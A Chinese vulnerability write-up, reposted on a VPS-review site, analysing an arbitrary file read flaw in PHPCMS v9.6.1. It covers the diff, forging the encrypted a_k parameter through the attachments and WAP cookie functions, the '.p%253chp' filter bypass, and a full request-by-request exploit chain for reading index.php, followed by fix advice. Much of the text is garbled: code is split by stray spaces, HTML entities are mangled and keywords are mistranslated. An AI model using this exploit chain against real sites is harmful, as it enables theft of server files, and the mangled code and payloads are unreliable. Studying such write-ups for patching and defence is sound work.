主机参考:VPS测评参考推荐/专注分享VPS服务器优惠信息!若您是商家可以在本站进行投稿,查看详情!此外我们还提供软文收录、PayPal代付、广告赞助等服务,查看详情! |
我们发布的部分优惠活动文章可能存在时效性,购买时建议在本站搜索商家名称可查看相关文章充分了解该商家!若非中文页面可使用Edge浏览器同步翻译!PayPal代付/收录合作 |
PHPCMS用教程介绍PHPCMSv9.6.1 中任意文件读取漏洞的挖掘
推荐(免费):PHPCMS教程
在网上看到了这样的漏洞,于是花时间分析了一下,得到了这个分析。
1.准备&要点快速扫描1.1预备知识在这里,对本次分析需要掌握的知识进行了梳理:
Php的原生parse_str方法会自动执行urlcodeonce。如果第二个参数为空,它将执行类似的提取操作。
本机空方法,用于字符串“& quot返回true。
phpcms中的Sys_auth是对称加密,在不知道auth_key的情况下,理论上不可能构造有效的密文。
1.2先在diff下快速扫描v9.6.0和v9.6.1,在phpcms/modules/content/down . PHP中找到以下修改:
-a/phpcms/modules/content/down . PHP ++ b/phpcms/modules/content/down . PHP @ @-14,12 +14,16 @ @ class down { $ a _ k = sys _ auth($ a _ k,& # 39;解码& # 39;,PC _ base::load _ config(& # 39;系统& # 39;,'auth _ key & # 39));if(empty($ a _ k))show message(L(& # 39;非法参数& # 39;));unset($i,$m,$ f);+$ a _ k = safe _ replace($ a _ k);^m parse _ str($ a _ k);if(isset($ I))$ I = $ id = intval($ I);如果(!isset($ m))show message(L(& # 39;非法参数& # 39;));如果(!isset($modelid)||!isset($ catid))show message(L(& # 39;非法参数& # 39;));if(empty($ f))show message(L(& # 39;url _ invalid & # 39));$ allow _ visitor = 1;+$ id = intval($ id);^m+ $ modelid = intval($ modelid);^m+ $ catid = intval($ catid);^m $ model = get cache(& # 39;型号& # 39;,'commons & # 39);$ tablename = $ this-& gt;d B- & gt;table _ name = $ this-& gt;d B- & gt;db_tablepre。$ MODEL[$ modelid][& # 39;tablename & # 39];$ this-& gt;d B- & gt;table_name = $tablename。'_ data & # 39;@@ -86,6 +90,7 @ @ class down { $ a _ k = sys _ auth($ a _ k,& # 39;解码& # 39;,$ PC _ auth _ key);if(empty($ a _ k))show message(L(& # 39;非法参数& # 39;));unset($i,$m,$f,$t,$ IP);+$ a _ k = safe _ replace($ a _ k);^m parse _ str($ a _ k);if(isset($ I))$ downid = intval($ I);如果(!isset($ m))show message(L(& # 39;非法参数& # 39;));@@ -118,6 +123,7 @ @ class down { } $ ext = fileext($ filename);$ filename = date(& # 39;Ymd _ his & # 39).随机(3)。'。'。$ ext+$ fileurl = str _ replace(array(& # 39;& lt','& gt'), '',$ fileurl);^M file_down($fileurl,$ filename);}}主要修改了init()和download()两个方法。大胆猜测是这两个功能有问题。
公共函数init(){ $ a _ k = trim($ _ GET[& # 39;a _ k & # 39]);如果(!isset($ a _ k))show message(L(& # 39;非法参数& # 39;));$a_k = sys_auth($a_k,& # 39;解码& # 39;,PC _ base::load _ config(& # 39;系统& # 39;,'auth _ key & # 39));//关键点1if (empty ($ a _ k))显示消息(l(& # 39;非法参数& # 39;));unset($i,$m,$ f);$ a _ k = safe _ replace($ a _ k);//关键点2 pass _ str($ a _ k);//关键点3 if(isset($ I))$ I = $ id = intval($ I);如果(!isset($ m))show message(L(& # 39;非法参数& # 39;));如果(!isset($modelid)||!isset($ catid))show message(L(& # 39;非法参数& # 39;));if(empty($ f))show message(L(& # 39;url _ invalid & # 39));$ allow _ visitor = 1;$ id = intval($ id);$ modelid = intval($ modelid);$ catid = intval($ catid);......if(preg _ match(& # 39;/(PHP | phtml | PHP 3 | PHP 4 | JSP | dll | ASP | cer | asa | shtml | shtm | aspx | asax | CGI | fcgi | pl)(\。| $)/I & # 39;,$f) || strpos($f,& quot:\ \ & quot)!==FALSE || strpos($f,& # 39;..')!= = FALSE)show message(L(& # 39;url _ error & # 39));//关键点4 if(strpos($f,& # 39;http://& # 39;) !== FALSE || strpos($f,& # 39;FTP://& # 39;) !== FALSE || strpos($f,& # 39;://')= = = FALSE){ $ PC _ auth _ key = MD5(PC _ base::load _ config(& # 39;系统& # 39;,'auth _ key & # 39).$ _服务器[& # 39;HTTP _ USER _ AGENT & # 39].'下来& # 39;);$ a _ k = urlencode(sys _ auth(& quot;i = $ i & ampd = $ d & amps = $ s & ampt = & quot。SYS_TIME。"& ampip = & quot。ip()。"& ampm = & quot。$ m. & quot& ampf = $ f & ampmodelid = & quot。$modelid,& # 39;编码& # 39;,$ PC _ auth _ key));//关键点5 $ downurl = & # 39?m =内容& ampc =羽绒& ampa =下载& ampa _ k = & # 39。$ a _ k;} else { $ down URL = $ f;}}公共函数下载(){ $ a _ k = trim($ _ GET[& # 39;a _ k & # 39]);$ PC _ auth _ key = MD5(PC _ base::load _ config(& # 39;系统& # 39;,'auth _ key & # 39).$ _服务器[& # 39;HTTP _ USER _ AGENT & # 39].'下来& # 39;);//关键点6 $a_k = sys_auth($a_k,& # 39;解码& # 39;,$ PC _ auth _ key);if(empty($ a _ k))show message(L(& # 39;非法参数& # 39;));unset($i,$m,$f,$t,$ IP);$ a _ k = safe _ replace($ a _ k);//关键点7 parse _ str($ a _ k);//关键点8 if(isset($ I))$ down id = intval($ I);如果(!isset($ m))show message(L(& # 39;非法参数& # 39;));如果(!isset($ modelid))show message(L(& # 39;非法参数& # 39;));if(empty($ f))show message(L(& # 39;url _ invalid & # 39));如果(!$ i | | $ m & lt0)show message(L(& # 39;非法参数& # 39;));如果(!isset($ t))show message(L(& # 39;非法参数& # 39;));如果(!isset($ IP))show message(L(& # 39;非法参数& # 39;));$ start time = intval($ t);if(preg _ match(& # 39;/(PHP | phtml | PHP 3 | PHP 4 | JSP | dll | ASP | cer | asa | shtml | shtm | aspx | asax | CGI | fcgi | pl)(\。| $)/I & # 39;,$f) || strpos($f,& quot:\ \ & quot)!==FALSE || strpos($f,& # 39;..')!= = FALSE)show message(L(& # 39;url _ error & # 39));//关键点9 $ fileurl = trim($ f);如果(!$downid || empty($fileurl) ||!preg _ match(& quot;/[0-9]{ 10 }/& quot;,$starttime) ||!preg _ match(& quot;/[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3 }/& quot;,$ip) || $ip!= IP())show message(L(& # 39;非法参数& # 39;));$ end TIME = SYS _ TIME-$ start TIME;if($ end time & gt;3600)show message(L(& # 39;url _ invalid & # 39));if($m) $fileurl = trim($s)。trim($ fileurl);//关键点10 if(preg _ match(& # 39;/(PHP | phtml | PHP 3 | PHP 4 | JSP | dll | ASP | cer | asa | shtml | shtm | aspx | asax | CGI | fcgi | pl)(\。| $)/I & # 39;,$ fileurl))show message(L(& # 39;url _ error & # 39));//关键点11 //远程文件if(strpos($fileurl,& # 39;:/')& amp& amp(strpos($fileurl,PC _ base::load _ config(& # 39;系统& # 39;,'上传_网址& # 39;))=== false)) {//关键点12头(& quot位置:$ fileurl & quot);} else { if($ d = = 0){ header(& quot;位置:& quot。$ fileurl);//key point 13 } else { $ fileurl = str _ replace(array(PC _ base::load _ config(& # 39;系统& # 39;,'上传_网址& # 39;),'/')、array(PC _ base::load _ config(& # 39;系统& # 39;,'上传路径& # 39;)、DIRECTORY_SEPARATOR)、$ fileurl);$ filename = basename($ file URL);//关键点14 //处理中文文件if(preg _ match(& quot;/^([\s\S]*?)([\ x8\ xfe][\ x40-\ xfe])([\ S \ S]*?)/& quot;,$ fileurl)){ $ filename = str _ replace(array(& quot;% 5C & quot,& quot% 2F & quot;,& quot% 3A & quot),数组(& quot\ \ & quot,& quot/& quot;,& quot:& quot)、urlencode($ file URL));$ filename = URL decode(basename($ filename));//Key point 15 } $ ext = fileext($ filename);//key point 16 $ filename = date(& # 39;Ymd _ his & # 39).随机(3)。'。'。$ ext$ fileurl = str _ replace(array(& # 39;& lt','& gt'), '',$ fileurl);//关键点17 file_down($fileurl,$ filename);//要点18 } } safe _ replace函数如下
function safe _ replace($ string){ $ string = str _ replace(& # 39;%20','',$ string);$ string = str _ replace(& # 39;%27','',$ string);$ string = str _ replace(& # 39;%2527','',$ string);$ string = str _ replace(& # 39;*','',$ string);$ string = str _ replace(& # 39;"','& ampquot',$ string);$ string = str _ replace(& quot;'",'',$ string);$ string = str _ replace(& # 39;"','',$ string);$ string = str _ replace(& # 39;;','',$ string);$ string = str _ replace(& # 39;& lt','& amplt;',$ string);$ string = str _ replace(& # 39;& gt','& ampgt;',$ string);$ string = str _ replace(& quot;{ & quot,'',$ string);$ string = str _ replace(& # 39;}','',$ string);$ string = str _ replace(& # 39;\\','',$ string);返回$ string}1.2 content/down模块一般流程分析在init方法中,根据原始的$a_k(包含file_down的文件的基本信息),进行一次验证,生成并调用。
下载方法的url,其模式为$ downurl = & # 39?m =内容& ampc =羽绒& ampa =下载& ampa _ k = & # 39。$a_k(必须满足一定条件。)
download方法接收$a_k,对其进行解码,求解文件信息,并调用file_down($fileurl,$filename)(必须满足一定的条件)
我们来看看file_down函数。第一个参数$filepath是实际控制readfile文件名的变量。readfile可以读取本地文件,所以我们可以构造一个合格的$fileurl来绕过上面的限制,完成本地文件的读取功能!
函数file_down($filepath,$ filename = & # 39'){如果(!$ filename)$ filename = basename($ file path);if(is _ ie())$ filename = raw urlencode($ filename);$ filetype = fileext($ filename);$ filesize = sprintf(& quot;% u & quot,filesize($ file path));if(ob_get_length()!= = false)@ ob _ end _ clean();页眉(& # 39;pragma:public & # 39;);页眉(& # 39;最后修改时间:& # 39;。GM date(& # 39;d,d,M,Y,H:I:s & # 39;) .'GMT & # 39);页眉(& # 39;缓存控制:不存储,不缓存,必须重新验证& # 39;);页眉(& # 39;Cache-Control: pre-check=0,post-check=0,max-age = 0 & # 39;);页眉(& # 39;内容传输编码:二进制& # 39;);页眉(& # 39;内容编码:无& # 39;);页眉(& # 39;内容类型:& # 39;。$ filetype);页眉(& # 39;内容-处置:依恋;filename = & quot'。$filename。'"');页眉(& # 39;内容长度:& # 39;。$ filesize);readfile($ file path);退出;}1.2.1$fileurl变量构造分析如果我们要读取。站点的php结束文件,php因为key point 11的存在不能出现在$ fileurl中,但是从key point 17可以看出已经被替换了。
$ fileurl = str _ replace(array(& # 39;& lt','& gt'), '',$ fileurl);//关键点17那么可以认为我们构造了一个符合。ph([< & gt;]+)p的文件后缀,最后会被替换为。php。而且这句话是9.6.1新增的,比较确定。此漏洞是9.6.1版独有的。
再往上看。
if($m) $fileurl = trim($s)。trim($ fileurl);//关键点10变量$m为真,那么我们可以通过引入变量$s来构造$fileurl,而$fileurl是由变量$ f控制的。
$ fileurl = trim($ f);$ a _ k = safe _ replace($ a _ k);//关键点7 parse _ str($ a _ k);//关键点8通过parse_str提取变量。很容易得到control $i,$m,$f,$t,$s,$d,$modelid变量。当我们看到这里,我们可以构造$a_k来控制这些变量。
1.2.2$a_k变量分析然后查。
$ PC _ auth _ key = MD5(PC _ base::load _ config(& # 39;系统& # 39;,'auth _ key & # 39).$ _服务器[& # 39;HTTP _ USER _ AGENT & # 39].'下来& # 39;);//关键点6 $a_k = sys_auth($a_k,& # 39;解码& # 39;,$ PC _ auth _ key);这个关键点6很重要,因为这里的$pc_auth_key几乎不可能暴力出来。但是,加密的$a_k只在init()方法中使用相同的$pc_auth_key。所以只能用init()方法构造$a_k。
现在让我们看看init方法。
$ a _ k = trim($ _ GET[& # 39;a _ k & # 39]);如果(!isset($ a _ k))show message(L(& # 39;非法参数& # 39;));$a_k = sys_auth($a_k,& # 39;解码& # 39;,PC _ base::load _ config(& # 39;系统& # 39;,'auth _ key & # 39));//关键点1这里可以发现sys_auth的auth其实用的是系统默认的auth_key。我的直觉告诉我,这可能就是问题所在。除了这个区别,init方法的其他逻辑在这里不再赘述。
1.2.3总结归纳:
index.php?m =内容& ampc =羽绒& ampa = init & ampA_k=想办法构造一个合格的。
然后init方法将构造可以在download方法中解密的$a_k。
通过控制$a_k,间接控制$i,$f,$m,$s,$d等变量。,该漏洞就可能被利用。
2.漏洞挖掘过程2.1 init方法接受的$a_k构造2.1.1探索正常过程中的$a_k构造过程。它实际上是常规下载模型的逻辑,快速扫描源代码,查看哪里可以产生对init方法的调用。
初始化方法的$a_k将在phpcms/modules/content/fields/down files和phpcms/modules/content/fields/down files中生成。
函数downfile($field,$ value){ extract(string 2 array($ this-& gt;字段[$ field][& # 39;设置& # 39;]));$ list _ str = array();if($ value){ $ value _ arr = explode(& # 39;|',$ value);$ file URL = $ value _ arr[& # 39;0'];if($ file URL){ $ sel _ server = $ value _ arr[& # 39;1'] ?爆炸(& # 39;,',$ value _ arr[& # 39;1']) : '';$ server _ list = get cache(& # 39;下行服务器& # 39;,'commons & # 39);if(is _ array($ server _ list)){ foreach($ server _ list as $ _ k = & gt;$ _ v){ if($value & amp;& ampis _ array($ sel _ server)& amp;& ampin_array($_k,$ sel _ server)){ $ download URL = $ _ v[siteurl]。$ fileurlif($ download link){ $ a _ k = urlencode(sys _ auth(& quot;我= $ this-& gt;id & amps = $ _ v[siteurl]& amp;m = 1 & ampf = $ fileurl & amp下载类型& ampmodelid = $ this-& gt;模型& ampcatid = $ this-& gt;catid & quot, '编码& # 39;,PC _ base::load _ config(& # 39;系统& # 39;,'auth _ key & # 39)));$ list _ str[]= & quot;& lta href = & # 39"。APP_PATH。"index.php?m =内容& ampc =羽绒& ampa _ k = { $ a _ k } & # 39target = & # 39_ blank & # 39& gt{ $ _ v[站点名称]} & lt;/a & gt;";} else { $ list _ str[]= & quot;& lta href = & # 39{ $ downloadurl } & # 39target = & # 39_ blank & # 39& gt{ $ _ v[站点名称]} & lt;/a & gt;";} } } }返回$ list _ str}}}但是分析表明content_input和content_output逻辑中的权限验证和限制逻辑比较完善,基本不存在利用的可能。
2.1.2黑科技构造$a_k,因为sys_auth是对称加密,能不能找个地方用同一个密钥生成,对sys_auth进行全文搜索,看看有没有满足以下条件的上下文
该方式被编码。
Auth_key是系统默认,即:PC _ base::load _ config(& # 39;系统& # 39;,'auth _ key & # 39)
而且要加密的内容是可控的(可以是我们$_REQUEST的数据,也可以是构造的)
加密的数据被回显。
总共找到58个匹配项,但是没有一个符合上下文,但是我们可以注意到。
公共静态函数set_cookie($var,$ value = & # 39',$ time = 0){ $ time = $ time & gt;0 ?$ time:($ value = = & # 39;'?SYS _ TIME-3600:0);$ s = $ _ SERVER[& # 39;服务器端口& # 39;] == '443'?1 : 0;$ var = PC _ base::load _ config(& # 39;系统& # 39;,'cookie _ pre & # 39).$ var$ _ COOKIE[$ var]= $ value;if(is _ array($ value)){ foreach($ value as $ k = & gt;$ v){ set cookie($var。'['。$ k. & # 39]',sys_auth($v,& # 39;编码& # 39;),$time,PC _ base::load _ config(& # 39;系统& # 39;,'cookie _ path & # 39),PC _ base::load _ config(& # 39;系统& # 39;,'cookie _ domain & # 39),$ s);} } else { set cookie($var,sys _ auth($value,& # 39;编码& # 39;),$time,PC _ base::load _ config(& # 39;系统& # 39;,'cookie _ path & # 39),PC _ base::load _ config(& # 39;系统& # 39;,'cookie _ domain & # 39),$ s);} }公共静态函数get_cookie($var,$ default = & # 39'){ $ var = PC _ base::load _ config(& # 39;系统& # 39;,'cookie _ pre & # 39).$ varreturn isset($_COOKIE[$var])?sys_auth($_COOKIE[$var],& # 39;解码& # 39;):$ default} param::set _ cookie param::get _ cookie默认auth_key用于加密cookie。
立即对set_cookie进行全文搜索,找到满足以下条件的上下文。
set_cookie的内容是可控的。
set_cookie的触发条件尽量限制。
共找到122个匹配,找到了两个好的触发点。
phpcms/modules/attachments/attachments . PHP中的Swfupload_json/swfupload_del方法和phpcms/modules/video.php中的swfupload_json/del方法。
视频模块需要管理员权限,所以不考虑。只要是注册用户,就可以调用附件模块。
我们来看看swfupload_json
公共函数swfupload _ JSON(){ $ arr[& # 39;援助& # 39;]= intval($ _ GET[& # 39;援助& # 39;]);$ arr[& # 39;src & # 39]= safe _ replace(trim($ _ GET[& # 39;src & # 39]));$ arr[& # 39;文件名& # 39;]= urlencode(safe _ replace($ _ GET[& # 39;文件名& # 39;]));$ JSON _ str = JSON _ encode($ arr);$ att _ arr _ exist = param::get _ cookie(& # 39;att _ json & # 39);$ att _ arr _ exist _ tmp = explode(& # 39;||',$ att _ arr _ exist);if(is _ array($ att _ arr _ exist _ tmp)& amp;& ampin_array($json_str,$ att _ arr _ exist _ tmp)){ return true;} else { $json_str = $att_arr_exist?$att_arr_exist。'||'。$ JSON _ str:$ JSON _ str;param::set _ cookie(& # 39;att _ json & # 39,$ JSON _ str);返回true}}我们可以通过src和filename来构造。最终我选择了src,最终的形式会是一个json字符串。当然,有许多是以“||”开头的。分裂。
在我们注册用户登录后,我们调用
index.php?m =附件& ampc =附件和附件。a = swfupload _ json & ampaid = 1 & ampsrc=fobnn生成的数据将是
{ & quot援助& quot:888,& quotsrc":& quotfobnn & quot,& quot文件名& quot:& quot"}然后我们在response . header[" att _ JSON & quot;]。
1 a66 lxdasytpyw 9 eh 6 xoxqtpetkx 6 z 0 l 0 krq 7 _ LX 9 bekmdtq 1 xcymmmso 3 M9 VF 5 es 6x 3 r jvulahkk 15 RH-CJZ我们修改下面的down.php->: Init方法解码后输出$a_k。
然后我们打电话
index.php?m =内容& ampc =羽绒& ampa = init & ampa _ k = 1 a66 lxdasytpyw 9 h6 xoxqtpetkx 6 z 0 l 0 krq 7 _ LX 9 bekmdtq 1 xcymmso 3m 9 vdf 5 es 6 xy 3 rjvulahkk 15rh-CJZ令人振奋,init方法成功解码$ a _ k。
好了,到目前为止,我们的想法已经被验证是可行的。接下来,我们应该构造一个可用的有效载荷。
2.2 json和parse_str现在需要解决的是从JSON解析出parse_str,并且能够解析出$i,$m,$f等变量。
{ & quot援助& quot:888,& quotsrc":& quotfobnn = q & ampp1 = 12312 & quot,& quot文件名& quot:& quot"}解析{ & quot援助& quot:888,& quotsrc":& quotFonn = q和p1 = 12312 & quot,& quot文件名& quot:& quot"}
说明parse_str还在解析或者可以实现。前后关闭就行了,中间填我们需要的变量,比如
{ & quot援助& quot:888,& quotsrc":& quotpad = x & ampfobnn = q & ampp1=12312。pade = & quot,& quot文件名& quot:& quot"}然后fobnn和p1正常解析,src需要URLENCODE提交,不会造成php解析错误。
2.3构造一个符合init方法的$a_k。首先,我们构造一个符合init方法的$a_k来完成正常过程。
if(isset($ I))$ I = $ id = intval($ I);如果(!isset($ m))show message(L(& # 39;非法参数& # 39;));如果(!isset($modelid)||!isset($ catid))show message(L(& # 39;非法参数& # 39;));if(empty($ f))show message(L(& # 39;url _ invalid & # 39));$ allow _ visitor = 1;$ id = intval($ id);$ modelid = intval($ modelid);$ catid = intval($ catid);Pad = x & i = 1 & ampmodelid = 1 & ampm = 1 & ampcatid = 1 & ampf = fobnn & ampPade=用于满足条件。
index.php?m =附件& ampc =附件和附件。a = swfupload _ json & ampaid = 1 src = pad % 3dx % 26i % 3d 1% 26 modeid % 3d 1% 26 ccatid % 3d 1% 26f % 3 dfobnn % 26 pade % 3d
3d 3 fr 3g 157 hoc 3 wgneqolyxvctvxf 95 vbotxfclzq 4 bbx 7j 0 lhb 7 c 6 urwbyzg 8 alwdrqp 4 mzb 761 b 1 _ zsod-adgb 2 jks 4 uvdbknvgyf P8 c 8 VP-emqkonvby 6 an H4 ffwuybrufucsvsmjq { & quot;援助& quot:1,& quotsrc":& quotpad = x & ampi = 1 & ampmodelid = 1 & ampm = 1 & ampcatid = 1 & ampf = fobnn & amppade = & quot,& quot文件名& quot:& quot"}然后提交
index.php?m =内容& ampc =羽绒& ampa = init & ampa _ k = 3d 3 fr 157 hoc 3 wgneqolyvctvxf 95 vbotxfclzq 4 bx 7 j0l HB 7 c 6 urwbyzg 8 alwdrqp 4 mzb 761 b 1 _ zsod-adgb 2 jks 4 uvdbknvgyf P8 c 8 VP-emqkonvby 6 Anh 4 hffwuuybrufucsjq成功!页面已经生成了调用下载方法的url。
& lt/head & gt;& ltbody & gt& ltstyle type = & quottext/CSS & quot;& gt正文,html{背景:#FFF!重要;} & lt/style & gt;& lta href = & quot?m =内容& ampc =羽绒& ampa =下载& ampa _ k = a 602 ecw 5t kutzttvleyrcu 0k stkdclfcnaq 06 ge 74c 9 ZC 6 nmuahass 9 zwca-glxrmbtylsbtrxmntxy 5 nsfrziec _ icrmj 3 ptsqxthxps 3 QS 4 u 6 pkliz 4y 3a & quot;class = & quotxzs _ btn & quot& gt& lt/a & gt;& lt/body & gt;& lt/html & gt;2.4绕过限制构造最终有效载荷。目前正常流程已经走完。让我们关注如何构造符合标准的$fileurl,并看看init方法。
if(preg _ match(& # 39;/(PHP | phtml | PHP 3 | PHP 4 | JSP | dll | ASP | cer | asa | shtml | shtm | aspx | asax | CGI | fcgi | pl)(\。| $)/I & # 39;,$f) || strpos($f,& quot:\ \ & quot)!==FALSE || strpos($f,& # 39;..')!= = FALSE)show message(L(& # 39;url _ error & # 39));if(strpos($f,& # 39;http://& # 39;) !== FALSE || strpos($f,& # 39;FTP://& # 39;) !== FALSE || strpos($f,& # 39;://')= = = FALSE){ $ PC _ auth _ key = MD5(PC _ base::load _ config(& # 39;系统& # 39;,'auth _ key & # 39).$ _服务器[& # 39;HTTP _ USER _ AGENT & # 39].'下来& # 39;);$ a _ k = urlencode(sys _ auth(& quot;i = $ i & ampd = $ d & amps = $ s & ampt = & quot。SYS_TIME。"& ampip = & quot。ip()。"& ampm = & quot。$ m. & quot& ampf = $ f & ampmodelid = & quot。$modelid,& # 39;编码& # 39;,$ PC _ auth _ key));$ downurl = & # 39?m =内容& ampc =羽绒& ampa =下载& ampa _ k = & # 39。$ a _ k;} else { $ down URL = $ f;}对F的限制还真不少,包括例行黑名单检测php,asp等。“也不能出现。..",& quot:\ & quot
幸运的是,我们在下载函数中看到了这一点
if($m) $fileurl = trim($s)。trim($ fileurl);//关键点10我们可以通过控制$m来构造$s,并且$m和$s参与$ a _ k的构造。
在init方法中,我们可以构造m = 1 & s=。php & ampF=index类似地,为了绕过init方法的检测,我们将重点放在download方法上。
//常规检测代码就不贴了。$i,$t,$m,$modelid,$t,$ip的检测。if(preg _ match(& # 39;/(PHP | phtml | PHP 3 | PHP 4 | JSP | dll | ASP | cer | asa | shtml | shtm | aspx | asax | CGI | fcgi | pl)(\。| $)/I & # 39;,$f) || strpos($f,& quot:\ \ & quot)!==FALSE || strpos($f,& # 39;..')!= = FALSE)show message(L(& # 39;url _ error & # 39));$ fileurl = trim($ f);有了这样的结构,上面的检测肯定可以绕过,但是发现下面的检测就会出现问题,最后$fileurl就变成了index.php。
if($m) $fileurl = trim($s)。trim($ fileurl);if(preg _ match(& # 39;/(PHP | phtml | PHP 3 | PHP 4 | JSP | dll | ASP | cer | asa | shtml | shtm | aspx | asax | CGI | fcgi | pl)(\。| $)/I & # 39;,$ fileurl))show message(L(& # 39;url _ error & # 39));//远程文件很容易在快速扫描中看到。
$ fileurl = str _ replace(array(& # 39;& lt','& gt'), '',$ fileurl);//关键点17也看到了
if($ d = = 0){ header(& quot;位置:& quot。$ fileurl);2.4.1 urlencode " 然后构造d = 1 & m = 1 & ampf=。p & lt惠普& amp诸如s=index之类的有效负载可以绕过检测并利用漏洞。当然这期间的一些编码转换我就不赘述了。
最终pad = x & i = 1 & ampmodelid = 1 & ampcatid = 1 & ampd=1。m = 1 & ampf=。p & lt惠普& amps =指数& amppade=
有了safe_replce,<就会被过滤掉。我在预知中已经说过parse_str会自动编码一次。
所以它可以被建造。
d=1。m = 1 & ampf=。p % 3chp & amps =指数
我们在init方法中发现了一次safe_replace和一次parse_str。
那么最终编码到下载$a_k中的数据实际上是
所以我们需要确定init方法编码的时候是%3c,需要通过urlencode构造一次%3c。
d=1。m = 1 & ampf=。p % 253惠普& amps =指数
当然,如果要读取其他目录,也要对目录路径进行编码。
2.4.2最终有效载荷以阅读头版index.php为例。
pad = x & ampi = 1 & ampmodelid = 1 & ampcatid = 1 & ampd=1。m = 1 & ampf=。p % 253惠普& amps =指数& amppade=index.php?m =附件& ampc =附件和附件。a = swfupload _ json & ampaid = 1 & ampsrc = pad % 3dx % 26i % 3d 1% 26 modelid % 3d 1% 26 catid % 3d 1% 26d % 3d 1% 26m % 3d 1% 26f % 3d . p % 25253 chp % 26s % 3d index % 26 pade % 3d 8862 fewa 0 vodamdaewxtunq 817 najmag 9 dylumpb 8 qpbl 8 fi 91 _ xvw 8 ngzkbbjkxn 8 ms-sHcBkGNtosnd _ zjshnlyqq援助& quot:1,& quotsrc":& quotpad = x & ampi = 1 & ampmodelid = 1 & ampcatid = 1 & ampd=1。m = 1 & ampf=。p % 253惠普& amps =指数& amppade = & quot,& quot文件名& quot:& quot"}index.php?m =内容& ampc =羽绒& ampa = init & ampa _ k = 8862 fewa 0 vodamdaewxtunq 817 najmag 9 dylumpb 8 qpbl 8 fi 91 _ xvw 8 ngzkbgbjkxn 8 ms-sHcBkGNtosnd _ zjshnly qvorc 2 zfmspubno 6 rdialavacchvrgttnrymaimtij 4 ovmgpwjbu 1 I 0 flmurclmfaweiqindex . PHP?m =内容& ampc =羽绒& ampa =下载& ampa _ k = e 5586 zx1k-u h8 prhk 2 zfpapv 5 cxalmnajy 46 mo 8 iy 7 dgyxwqwzqfvpqjtxdmmmujxrf 0 GX _ wriv-ISK q 2 z 8 yewc-lrx irgt-paejtggbucvcooi 3 wlmdxajpdfuiqpsy最后提示下载文件,下载成功。打开后,果然是index.php的内容。
2.5绕过附件模块的权限限制,完成类附件的无限制使用{ private $ att _ dbfunction _ _ construct(){ PC _ base::load _ app _ func(& # 39;全球& # 39;);$ this-& gt;upload _ URL = PC _ base::load _ config(& # 39;系统& # 39;,'上传_网址& # 39;);$ this-& gt;upload _ path = PC _ base::load _ config(& # 39;系统& # 39;,'上传路径& # 39;);$ this-& gt;img ext = array(& # 39;jpg & # 39,'gif & # 39,'巴新& # 39;,'bmp & # 39,'jpeg & # 39);$ this-& gt;userid = $ _ SESSION[& # 39;userid & # 39] ?$ _ SESSION[& # 39;userid & # 39]:(param::get _ cookie(& # 39;_ userid & # 39) ?param::get _ cookie(& # 39;_ userid & # 39):sys _ auth($ _ POST[& # 39;userid _ flash & # 39],'解码& # 39;));$ this-& gt;is admin = $ this-& gt;admin _ username = $ _ SESSION[& # 39;roleid & # 39] ?1 : 0;$ this-& gt;groupid = param::get _ cookie(& # 39;_ groupid & # 39) ?param::get _ cookie(& # 39;_ groupid & # 39) : 8;//确定是否登录if(empty($ this->;userid)){ show message(L(& # 39;请_登录& # 39;,'','会员& # 39;));}}可以找到
sys _ auth($ _ POST[& # 39;userid _ flash & # 39],'解码& # 39;)无需复杂的权限验证即可控制$ this->: Userid,并且默认为AUTH_KEY加密。
在全文中找到无限的set_cookie,发现可以使用WAP模块。
PC _ base::load _ sys _ class(& # 39;格式& # 39;, '', 0);类索引{ function _ _ construct(){ $ this-& gt;db = PC _ base::load _ model(& # 39;content _ model & # 39);$ this-& gt;siteid = isset($ _ GET[& # 39;siteid & # 39])& amp;& amp(intval($ _ GET[& # 39;siteid & # 39])& gt;0) ?intval(trim($ _ GET[& # 39;siteid & # 39])):(param::get _ cookie(& # 39;siteid & # 39) ?param::get _ cookie(& # 39;siteid & # 39) : 1);param::set _ cookie(& # 39;siteid & # 39,$ this-& gt;siteid);$ this-& gt;WAP _ site = get cache(& # 39;wap _ site & # 39,'wap & # 39);$ this-& gt;types = get cache(& # 39;wap _ type & # 39,'wap & # 39);$ this-& gt;WAP = $ this-& gt;WAP _ site[$ this-& gt;siteid];定义(& # 39;WAP _ SITEURL & # 39,$ this-& gt;WAP[& # 39;域& # 39;] ?$ this-& gt;WAP[& # 39;域& # 39;].'index.php?':APP_PATH。'index.php?m = wap & ampsiteid = & # 39。$ this-& gt;siteid);如果($ this-& gt;WAP[& # 39;地位& # 39;]!=1)退出(L(& # 39;wap _ close _ status & # 39));}没有任何条件限制我们$ _ GET[& # 39;siteid & # 39]来控制param::set _ cookie(& # 39;siteid & # 39,$ this-& gt;Siteid),并且默认有WAP模块文件,但不需要打开。
3.EXP编写过程如下:
index.php?m = wap & ampc =指数& ampSiteid=1获取一个名为Siteid的cookie。
参观index.php?m =附件& ampc =附件和附件。a = swfupload _ json & amp援助=1
& ampSrc=您希望读取文件的有效负载,并在访问时将post字段userid_flash设置为第一步中获得的cookie。成功响应后,获取名为att_json的cookie
参观index.php?m =内容& ampc =羽绒& ampa = init & ampA_k=获取了att_json来构建最终的漏洞利用路径,
可以直接截取生成的$a_k
参观index.php?m =内容& ampc =下载& ampa = init & ampA_k=截取的$ a _ k .完全利用。
4.不要在fix scheme init方法中使用$a_k加密和解密sys_auth的默认密钥。
在file_down之前再次过滤$fileurl。以上是对PHPCMSv9.6.1中任意文件读取漏洞挖掘分析过程的详细说明,请多关注主机参考其他相关文章!
这几篇文章你可能也喜欢:
本文由主机参考刊发,转载请注明:解释PHPCMSv9.6.1中任何文件读取漏洞的挖掘和分析过程。 https://zhujicankao.com/85976.html
评论前必须登录!
注册